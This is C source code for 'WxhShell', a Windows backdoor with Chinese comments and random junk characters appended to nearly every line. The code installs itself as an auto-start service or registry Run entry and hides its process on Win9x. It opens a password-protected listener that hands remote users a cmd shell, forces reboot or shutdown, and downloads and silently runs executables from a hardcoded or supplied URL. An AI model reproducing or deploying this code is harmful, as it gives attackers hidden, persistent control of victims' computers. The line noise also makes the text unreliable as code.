    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  / !  
    if(Boot(SHUTDOWN)) 0*/ r'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_H8Q}a  
    else { }6,bq`MN  
    closesocket(wsh); lWw!+[<:q1  
    ExitThread(0); um2s^G  
    } C"Q=(3  
    break; AnE_<sPA  
    } @3TkD_B&  
  // 获取shell =)1YYJTe9  
  case 's': { 5@t uo`k  
    CmdShell(wsh); A+1]Ql)$  
    closesocket(wsh); ~K$"PK s3  
    ExitThread(0); 7  cP[o+  
    break; vJAAAS  
  } 1S]gD&V  
  // 退出 IH5} Az  
  case 'x': { '7LJuMp$#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~EWfEHf*BJ  
    CloseIt(wsh); UEQ'D9  
    break; r]O@HVbt$  
    } {e[pSD6   
  // 离开 AH 87UkNL  
  case 'q': { = *;Xc-_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '[yqi1 &  
    closesocket(wsh); mImbS)V  
    WSACleanup(); ?"<r9S|[O  
    exit(1); uC*:#[  
    break; [(hvK {)  
        } |od4kt  
  } ;n7|.O]*  
  } :;*#Qh3"  
kPX2e h  
  // 提示信息 pM'IQ3N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5v>{Z0TE[6  
} qwNKRqT  
  } G9y12HV  
NuS|X   
  return; {}J@+Zsi  
} (06Vcqg  
kl3S~gE4@  
// shell模块句柄 )\D40,p  
int CmdShell(SOCKET sock) e]*=sp!T  
{ _QMHPRELk  
STARTUPINFO si; <,4R2'  
ZeroMemory(&si,sizeof(si)); vXM/nw|5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fov=Yd!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +x9"#0|k;  
PROCESS_INFORMATION ProcessInfo; Q#ZD&RZ9.  
char cmdline[]="cmd"; yK%GsCJd:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a[74%L?  
  return 0; H,XLb.  
} q'Pz3/mk  
Ux)p%-  
// 自身启动模式 t3#H@0<  
int StartFromService(void) F2PLy q  
{ tC@zM.v%  
typedef struct mQ ^ @ \s  
{ o&XMgY~  
  DWORD ExitStatus; w^'?4M!  
  DWORD PebBaseAddress; _[{:!?-?  
  DWORD AffinityMask; ,7fc41O3V  
  DWORD BasePriority; '=K of1  
  ULONG UniqueProcessId; C/CfjRzd  
  ULONG InheritedFromUniqueProcessId; #?$'nya*u  
}   PROCESS_BASIC_INFORMATION; [#>$k 6F*  
ZP6 3Alt  
PROCNTQSIP NtQueryInformationProcess; u_6BHsU  
Iz GB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R<lNk<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BheEI;}  
R0hc tT1j  
  HANDLE             hProcess; 4`UL1)A]  
  PROCESS_BASIC_INFORMATION pbi; C>:/(O  
T$8@2[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZH;y>Z  
  if(NULL == hInst ) return 0; u $% D9Z^  
g",wkO|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d(DX(xg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :<t{ =0G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8G5) o`  
Nr]8P/[~  
  if (!NtQueryInformationProcess) return 0; yK&* ,J |  
ANFg]g.Az  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .?i-rTF:  
  if(!hProcess) return 0; C'8!cPFVv  
n(Q\' ,C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sR>`QIi(a  
m,@1LwBH  
  CloseHandle(hProcess); KYkS6|A  
,\S pjE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0 .FHdJ<  
if(hProcess==NULL) return 0; W3jXZ>  
0tW<LR-}E  
HMODULE hMod; |YE,) kiF  
char procName[255]; ,XeyE;||  
unsigned long cbNeeded; U50s!Z t45  
$/, BJ/9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y[ iDX#  
)H;pGM:  
  CloseHandle(hProcess); @QVqpE<|  
oTF^<I-C  
if(strstr(procName,"services")) return 1; // 以服务启动 _^6|^PT.  
t":W.q<  
  return 0; // 注册表启动  %K%^ ]{  
} q?imE~&U  
'n l RY5@2  
// 主模块 7>'uj7r]=  
int StartWxhshell(LPSTR lpCmdLine) e' U"`)S  
{ "xDx/d8B  
  SOCKET wsl; UK"}}nO@e  
BOOL val=TRUE; ':!3jZP"m  
  int port=0; yV J dZI  
  struct sockaddr_in door; G%7 4v|cd  
S(>@:`=  
  if(wscfg.ws_autoins) Install(); })o~E  
2/v35| ?  
port=atoi(lpCmdLine); 6Iv(  
2ec$xms  
if(port<=0) port=wscfg.ws_port; tLD~  
*t#s$Ga  
  WSADATA data; poXLy/K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Lw}KO`  
UTDcX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5!'R'x5e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HDF!`  
  door.sin_family = AF_INET; jFuC=6aF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]g;^w?9h  
  door.sin_port = htons(port); 6o=qJ`m[?  
k]SAJ~bS|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z0 [)u_<  
closesocket(wsl); )%iRZ\`f  
return 1; F>~ xzc  
} *M> iZO*@  
c Ndw9?Z  
  if(listen(wsl,2) == INVALID_SOCKET) { .7 (DxN  
closesocket(wsl); V&Xi> X8  
return 1; y4xT:G/M  
} QP6z?j.  
  Wxhshell(wsl); DR k]{^C~  
  WSACleanup(); -A/ds1=;  
\4h>2y  
return 0; K-J|/eB  
La"o)L +m_  
} @gt)P4yE  
\8;Qv  
// 以NT服务方式启动 V19e>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [_y9"MMwn  
{  }Vvsh3  
DWORD   status = 0; t6'61*)|0  
  DWORD   specificError = 0xfffffff; D9qX->p  
Qs|OG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,M\j%3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dh2:2Rz=#7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2.[_t/T  
  serviceStatus.dwWin32ExitCode     = 0; "| K f'/r  
  serviceStatus.dwServiceSpecificExitCode = 0; s1X]RXX&j  
  serviceStatus.dwCheckPoint       = 0; 1s#yWQ   
  serviceStatus.dwWaitHint       = 0; Vh"MKJ'R^  
9o-!ecx}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kWB, ;7  
  if (hServiceStatusHandle==0) return; Ya}T2VX  
3g4e' ]t  
status = GetLastError(); UdT&cG  
  if (status!=NO_ERROR) [RAj3Fr0  
{ >f&xJq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +"]oc{W!  
    serviceStatus.dwCheckPoint       = 0; Zxg1M  
    serviceStatus.dwWaitHint       = 0; `kv1@aQPL  
    serviceStatus.dwWin32ExitCode     = status; eY J{LPo  
    serviceStatus.dwServiceSpecificExitCode = specificError; _h0-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c{1V.  
    return; ?22d},.  
  } mfXD1]<.  
o_iEkn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pG/ NuImA  
  serviceStatus.dwCheckPoint       = 0; yh S#&)O  
  serviceStatus.dwWaitHint       = 0; WK pUn8&N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ci;h  
} *"1~bPl  
D9ANm"#  
// 处理NT服务事件,比如:启动、停止 "$GK.MP5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `SCy<w3$+[  
{ (~S<EUc$  
switch(fdwControl) _1sP.0 t  
{ &k1/Z*/  
case SERVICE_CONTROL_STOP: IuNkfBe4m  
  serviceStatus.dwWin32ExitCode = 0; ]Z _$'?f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l;Q >b]DZ  
  serviceStatus.dwCheckPoint   = 0; XJe/tR  
  serviceStatus.dwWaitHint     = 0; X]qCS0GD'  
  { _3|6ZO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #C4|@7w%  
  } :]'q#$!  
  return; d!o.ASL{  
case SERVICE_CONTROL_PAUSE: _*Pfp+if  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q/p(#/y#b  
  break; IWQ&6SDW$z  
case SERVICE_CONTROL_CONTINUE: Bb~5& @M|N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d+tj%7  
  break; ji }#MBac  
case SERVICE_CONTROL_INTERROGATE: ASR-a't6  
  break; wTT RoeJ}  
}; djUihcqA`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lqF>=15  
} ~L~]QN\3  
u=%y  
// 标准应用程序主函数 v{o? #Sk1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g^jJ8k,7(  
{ ~]&B >q  
dsV ~|D6:  
// 获取操作系统版本 D}MoNE[r  
OsIsNt=GetOsVer(); `aIG;@Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /J;;|X#P  
TM0b-W (H  
  // 从命令行安装 6#E7!-u(-  
  if(strpbrk(lpCmdLine,"iI")) Install(); yr5NRs  
) !i!3  
  // 下载执行文件 VUp. j  
if(wscfg.ws_downexe) { D3y>iQd   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wS V@=)H\:  
  WinExec(wscfg.ws_filenam,SW_HIDE); l8^y]M  
} q-YL]PgV  
x@Y|v@}BE  
if(!OsIsNt) { gV|Y54}T  
// 如果时win9x,隐藏进程并且设置为注册表启动 D i+4Eb  
HideProc(); L;3aZt,#O  
StartWxhshell(lpCmdLine); y`rL=N#  
} $.a|ae|K  
else 5C B%=iL{  
  if(StartFromService()) g92dw<$>  
  // 以服务方式启动 Hq?&Qo  
  StartServiceCtrlDispatcher(DispatchTable); yxvjg\!&  
else PcB{ = L  
  // 普通方式启动 0(8gQ 2n  
  StartWxhshell(lpCmdLine); DcN"=Y  
'j}g  
return 0; _%%yV  
} FuuS"G,S  
%*jGim~s  
`gI~|A4  
&mcR   
=========================================== S;8.yj-  
6}ftBmv  
iT.|vr1HG  
';6X!KY+]  
q[P~L`h S  
-KiRj!v|  
" + 8f>^*:u  
2 5Q+1  
#include <stdio.h> +`| mJa  
#include <string.h> <7^Kt7k  
#include <windows.h> 3p_b8K_bG  
#include <winsock2.h> @bT3'K-4  
#include <winsvc.h> dQ<(lzS~  
#include <urlmon.h> !lhFKb;  
<GaT|Hhc=  
#pragma comment (lib, "Ws2_32.lib") T`?n,'!(  
#pragma comment (lib, "urlmon.lib") @^!\d#/M  
xQo~%wW,?  
#define MAX_USER   100 // 最大客户端连接数 _IxamWpX$  
#define BUF_SOCK   200 // sock buffer tq&Yek>C  
#define KEY_BUFF   255 // 输入 buffer \45(#H<$  
#/ +I*B*y  
#define REBOOT     0   // 重启 y@3kU*-1  
#define SHUTDOWN   1   // 关机 akC>s8tqlA  
)Oievu_"|  
#define DEF_PORT   5000 // 监听端口 p![&8i@ym  
6.'$EtH  
#define REG_LEN     16   // 注册表键长度 j&CZ=?K^c  
#define SVC_LEN     80   // NT服务名长度 q`^3ov^</  
4UD' %}>y  
// 从dll定义API .E$q&7@/j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2h )8Fq_"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BSKEh"f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1i'Z ei)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JpK[&/Ct  
+_~,86  
// wxhshell配置信息 ~^$MA$/p  
struct WSCFG { g\&2s,  
  int ws_port;         // 监听端口 =Z`0>R`  
  char ws_passstr[REG_LEN]; // 口令 >A($8=+#x  
  int ws_autoins;       // 安装标记, 1=yes 0=no U Du~2%  
  char ws_regname[REG_LEN]; // 注册表键名 t8vc@of$c,  
  char ws_svcname[REG_LEN]; // 服务名 ;&kn"b}G;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iNJAZ6@+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6vobta^w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Yq0 zVol  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "0-y*1/m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lR@& Z6lw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W 2<3C  
K/|  
}; H)5QqZ8  
tpo>1|  
// default Wxhshell configuration #ZWl=z5aBi  
struct WSCFG wscfg={DEF_PORT, ]fE3s{y &-  
    "xuhuanlingzhe", p=B?/Sqa  
    1, y(v_-6b  
    "Wxhshell", ao$):,2*  
    "Wxhshell", q- :4=vkn  
            "WxhShell Service", yW("G-Nm  
    "Wrsky Windows CmdShell Service", d}-'<Z#G  
    "Please Input Your Password: ", xNX'~B^4d  
  1, j#3m|dQ  
  "http://www.wrsky.com/wxhshell.exe", TQJF+;%  
  "Wxhshell.exe" t',BI  
    }; v=p0 +J>  
9p`r7:  
// 消息定义模块 JIxiklk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M&yqfb[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lzDdD3Ouc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]"sRS`0+  
char *msg_ws_ext="\n\rExit."; v[&'k\  
char *msg_ws_end="\n\rQuit."; ,I`_F,  
char *msg_ws_boot="\n\rReboot..."; ^|?1_r  
char *msg_ws_poff="\n\rShutdown..."; ?3jdg]&  
char *msg_ws_down="\n\rSave to "; HO5d%85  
G),db%,X2  
char *msg_ws_err="\n\rErr!"; Yy h=G  
char *msg_ws_ok="\n\rOK!"; [Oy >R  
4RQ5(YTTuR  
char ExeFile[MAX_PATH]; Y<Q\d[3^F  
int nUser = 0; qq;b~ 3 kW  
HANDLE handles[MAX_USER]; zvr\36  
int OsIsNt; !ZrB^?sO  
|$e:*  
SERVICE_STATUS       serviceStatus; D|Si)_ Iz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4j3oT)+8  
rk,p!}FqL  
// 函数声明 GN%(9N'W  
int Install(void); _7@z_i_c  
int Uninstall(void); ^i`*Wm@!  
int DownloadFile(char *sURL, SOCKET wsh); l>7r2;  
int Boot(int flag); J]fS({(\I  
void HideProc(void); |zpx)8Q  
int GetOsVer(void); ?@UAL .y  
int Wxhshell(SOCKET wsl); uV~e|X "9s  
void TalkWithClient(void *cs); :woa&(wN;1  
int CmdShell(SOCKET sock); <Wy>^<`  
int StartFromService(void); ~NNv>5 t5  
int StartWxhshell(LPSTR lpCmdLine);  %+wF"  
hhmGv9P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2-v\3voN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RH1uVdJ1  
|Q!4GeQL[  
// 数据结构和表定义 p)/ p!d[T/  
SERVICE_TABLE_ENTRY DispatchTable[] = 'qy#)F  
{ 7lU.Ni t  
{wscfg.ws_svcname, NTServiceMain}, ow.j+ <M  
{NULL, NULL} oT3Y!Y3=<  
}; #C\4/g? =,  
Jqru AW<  
// 自我安装 >Z\BfH  
int Install(void) -0 0}if7  
{ !kXeO6X@m  
  char svExeFile[MAX_PATH]; G9RP^  
  HKEY key; I KcKRw/O$  
  strcpy(svExeFile,ExeFile); If'2rE7J  
n93zD*;5  
// 如果是win9x系统,修改注册表设为自启动 j}RzXJ~t  
if(!OsIsNt) { YKs4{?vw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yVS\Q,:J9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sKfXg`0  
  RegCloseKey(key); wFL3& *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 84M3c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CLN+I'uX0  
  RegCloseKey(key); %S#WPD'Y  
  return 0; Hr }k5'  
    } (~()RkT  
  } Vk7=7%xW  
} <4mQ*6  
else { g:gB`8w?  
Jps .;yjk  
// 如果是NT以上系统,安装为系统服务 T=\!2gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )^ <3\e  
if (schSCManager!=0) ?63&g{vA  
{ \##`pa(8  
  SC_HANDLE schService = CreateService +v15[^F  
  (  Q2\  
  schSCManager, [ rdsv  
  wscfg.ws_svcname, ',mW`ZN  
  wscfg.ws_svcdisp, S()Za@ [a$  
  SERVICE_ALL_ACCESS, s[c^"@HT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eb!_ie"D  
  SERVICE_AUTO_START, ^l!L)iw  
  SERVICE_ERROR_NORMAL, CV^c",b_  
  svExeFile, `="v>qN2\  
  NULL, 7GZq|M_:y  
  NULL, Z2p> n`D  
  NULL, +t]Xj1Q  
  NULL, 3s(Ia^  
  NULL v8@eW.I1  
  );  @Fx@5e  
  if (schService!=0) FA$zZs10\  
  { EOVZGZF  
  CloseServiceHandle(schService); b3U6;]|x  
  CloseServiceHandle(schSCManager); X\sm[_I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V(mn yI  
  strcat(svExeFile,wscfg.ws_svcname); ,{{SI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ._<ii2K'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JSW&rn  
  RegCloseKey(key); =n0*{~r  
  return 0; -(;LQDG |  
    } 8/Rm!.8+~  
  }  c8DZJSO  
  CloseServiceHandle(schSCManager); `ROEV~  
} K.DXJ UR  
} WC-_+9)2&  
n33kb/q*  
return 1; t ;-L{`mW  
} H_B~P%E@]  
=!<G!^  
// 自我卸载 mG(N:n%*K  
int Uninstall(void) kRot7-7I|  
{ +d39f-[  
  HKEY key; E $6ejGw-  
1dv=xe.  
if(!OsIsNt) { kuS/S\Z5K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Gd0E;3sk~  
  RegDeleteValue(key,wscfg.ws_regname); I@./${o  
  RegCloseKey(key); >XE`h 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,w`~K:b.  
  RegDeleteValue(key,wscfg.ws_regname); yJD >ny  
  RegCloseKey(key); aRwnRii  
  return 0; f7+Cz>R  
  } r!K|E95oj9  
} ./w{L"E  
} R6@uM<  
else { ^:DyT@hQB5  
N@1p]\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yQ[u3tI  
if (schSCManager!=0) w0Ij'=:  
{ Y @}FL;3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D4Sh9:\  
  if (schService!=0) uva\0q  
  { E`)Qs[?Gk  
  if(DeleteService(schService)!=0) { dlD}Ub  
  CloseServiceHandle(schService); :p-Y7CSSu  
  CloseServiceHandle(schSCManager); iJP{|-h  
  return 0; Z"tQp Jg  
  } qrDcL>Hrn  
  CloseServiceHandle(schService); T[2}p=<%  
  } )%mAZk-*;^  
  CloseServiceHandle(schSCManager); 3{3/: 7  
} ` clB43 i  
} 7/>a:02  
Sdc*rpH"(  
return 1; Yx1 D)  
} RvW.@#EH0  
 aZgNPw  
// 从指定url下载文件 ?,% TU&Yn  
int DownloadFile(char *sURL, SOCKET wsh) 0Q1/n2V  
{ (=JueF@J  
  HRESULT hr; ( u f5\}x  
char seps[]= "/"; j=j+Nf$  
char *token; 9#@Zz4Ww  
char *file; IVteF*8hU  
char myURL[MAX_PATH]; ,F: =(21  
char myFILE[MAX_PATH]; 295w.X(J  
rJ(OAKnY  
strcpy(myURL,sURL); 7a<_BJXx  
  token=strtok(myURL,seps); xNgt[fLpS  
  while(token!=NULL) c{>|o  
  { A,c'g}:  
    file=token; Y:pRcO.4g  
  token=strtok(NULL,seps); p@tp]u`7  
  } re uYTH  
~zyQ('  
GetCurrentDirectory(MAX_PATH,myFILE); RWikJ   
strcat(myFILE, "\\"); `d*b]2  
strcat(myFILE, file); .B$h2#i1  
  send(wsh,myFILE,strlen(myFILE),0); v@_in(dk  
send(wsh,"...",3,0); h7?.2Q&S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H8i+'5x,?  
  if(hr==S_OK) AZ wa4n}"  
return 0; ZQ[~*)  
else Wc;+2Hl[@  
return 1; Cef7+fa  
$l"MXxx5I  
} vlQ0gsXK  
^<;w+%[MT  
// 系统电源模块 Wk[)+\WQ?  
int Boot(int flag) @L;C_GEa  
{ XS|mKuMc C  
  HANDLE hToken; J px'W  
  TOKEN_PRIVILEGES tkp; f)^t')  
"Ot{^ _e  
  if(OsIsNt) { MPvWCPB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qGa<@ b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KjYDFrR4  
    tkp.PrivilegeCount = 1; qLRE}$P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |nm2Uy/0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ !5f"<FCB  
if(flag==REBOOT) { K:w]> a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (1 yGg==W.  
  return 0; %#9P?COs&W  
} .,mM%w,^O  
else { ^zeL+(@r/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Hd Si  
  return 0; IMaYEO[  
} $8@+j[>  
  } W5I=X] &  
  else { \`gEu{  
if(flag==REBOOT) { iGa}3pF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s3< F  
  return 0; .. UoyBV  
} <[9?Rj@  
else { (nz}J)T&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :c<*%*e  
  return 0; (}0S1)7t  
} cY~M4:vgT  
} 4\1;A`2%0  
M.[wKGX(  
return 1; K;C_Z/<%  
} VN+\>j-  
w, 7Cr  
// win9x进程隐藏模块 z1Q2*:)c  
void HideProc(void) p1^0{ILx  
{ UoRDeYQ`E  
-<d(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !x_t`78T  
  if ( hKernel != NULL ) I>Y{>S  
  { I61%H9 ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;^ov~PPl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >13/h]3  
    FreeLibrary(hKernel); l0#4Fma  
  } $WClpvVj  
* gHCy4u{  
return; M8_R  
} G"C;A`6  
.qinR 6=  
// 获取操作系统版本 kF2Qv.5!  
int GetOsVer(void) N(BiOLZL6  
{ [Q:f-<nH  
  OSVERSIONINFO winfo; to51hjV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u GIr&`S  
  GetVersionEx(&winfo); ol#yjrv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Pf+]R  
  return 1; "ZqEP R)  
  else raF] k0{  
  return 0; @Wz%KdXA  
} jYk5~<\k  
0@v 2*\D#  
// 客户端句柄模块 UAKu_RO6S  
int Wxhshell(SOCKET wsl) 6lZGcRO  
{ WP!il(Gr  
  SOCKET wsh; x97H(*  
  struct sockaddr_in client; dm  2EH  
  DWORD myID; 9.]kOs_  
`fMpV8vv  
  while(nUser<MAX_USER) _G[6+g5|  
{  `~h0?g  
  int nSize=sizeof(client); ;L$,gn5H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d.I%k1`(  
  if(wsh==INVALID_SOCKET) return 1; g41<8^(  
#@q1Ko!NZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1~L\s}|2d  
if(handles[nUser]==0) 5f{wJb2  
  closesocket(wsh); [x|)}P7%s  
else ~.H~XK w  
  nUser++; *F..ZS'$[  
  } 7P c(<Ui+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {yU0D*#6  
cTy'JT7  
  return 0; =G*z 5 3  
} :i}@Br+R7L  
D=JlA~tS>  
// 关闭 socket k|5k8CRX  
void CloseIt(SOCKET wsh) +8eVj#N  
{ o Fi) d[`  
closesocket(wsh); IF e+ B"  
nUser--; IE}Sdeqi)  
ExitThread(0); P]- #wz=S  
} Y=|CPE%V  
/wlFD,+8  
// 客户端请求句柄 I[%M!_+  
void TalkWithClient(void *cs) ILNXaJ'0a  
{ 5E0wn'  
)Z&HuEg{ZR  
  SOCKET wsh=(SOCKET)cs; w?i)/q  
  char pwd[SVC_LEN]; :S#i9# aB  
  char cmd[KEY_BUFF]; }q]jjs  
char chr[1]; :k\} I k  
int i,j; f:&)"  
gz#+  
  while (nUser < MAX_USER) { sX Z4U0 #  
0yKh p: ^  
if(wscfg.ws_passstr) { *iYMX[$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Z7)x7 z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1S&0  
  //ZeroMemory(pwd,KEY_BUFF); A^t"MYX@  
      i=0; R7,p ukK  
  while(i<SVC_LEN) { UL[uh@4  
z41D^}b  
  // 设置超时 AT-0}9z{  
  fd_set FdRead; {x|MA(NO  
  struct timeval TimeOut; =8@RKG`>;  
  FD_ZERO(&FdRead); qA04Vc[2  
  FD_SET(wsh,&FdRead); ss*5.(y  
  TimeOut.tv_sec=8; y1nP F&_  
  TimeOut.tv_usec=0; *0lt$F$~b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X&/(x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !%X>rGkc  
#U:0/4P(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b13nE .  
  pwd=chr[0]; YN$`y1V  
  if(chr[0]==0xd || chr[0]==0xa) { G$|G w  
  pwd=0; X:DMT>5k  
  break; oH=4m~'V  
  } $@68=  
  i++; ";o~&8?)  
    } }tu4z+T2  
t Z+0}d  
  // 如果是非法用户,关闭 socket @ }ZGY^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + 2OZJVJ  
} {({ R:!c  
=1eV   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G}Gb|sD Zq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } !Xf&c{7{  
2UQN*_  
while(1) { `..EQ BM  
0,bt^a  
  ZeroMemory(cmd,KEY_BUFF); V, E9Uds  
*Gf&q  
      // 自动支持客户端 telnet标准   =Z^un&'  
  j=0; )eVzSj>MT  
  while(j<KEY_BUFF) { ybC-f'0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,#=eu85 '  
  cmd[j]=chr[0]; SCqu,  
  if(chr[0]==0xa || chr[0]==0xd) { Rz)v-Yu  
  cmd[j]=0; cl ?< 7  
  break; =7#u+*Yr9  
  } W31LNysH!;  
  j++; BEFe~* ~  
    }  PE^eP}O1  
9+W!k^VWq  
  // 下载文件 RzMA\r;#  
  if(strstr(cmd,"http://")) { Q=^ktKMeR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9fCiLlI  
  if(DownloadFile(cmd,wsh)) ZBPd(;"x+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LAj}kW~  
  else Oib[\O7[z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |{zHM23gD  
  } @T9m}+fR  
  else { X >3iYDe  
